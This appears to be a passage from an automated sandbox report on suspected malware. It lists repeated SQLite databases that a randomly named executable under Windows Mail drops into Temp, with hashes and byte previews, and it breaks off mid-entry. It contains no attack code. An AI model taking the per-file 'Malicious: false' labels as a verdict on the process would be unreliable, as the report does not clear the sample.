C:\Users\user\AppData\Local\Temp\EZTWe33Sbc

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EtkSGzscvY

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EuvMhuvezo

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F5g1hf6yXd

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FCQXWTdQOR

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FF8ALBVVIb

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FTuuETQG8U

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FhF64qXkrK

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G3zAJYAwbK

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GQAZ5fnzuk

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GWPUPPU5WF

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GpchMnnqNX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H32CGtHYGI

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H6IzSLO4aX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HYEyjM0yYo

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Hld7BbzjSv

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HomLS0yX2t

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Hst4LNOWlD

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IQfUkAmHGn

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IbX2bLi7F7

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J2iqB07F4q

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JDlWCmrA9M

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JMs1XnBX46

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K3nGYPl9YW

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K4JdcfVx5z

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KNXHkAGnBs

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
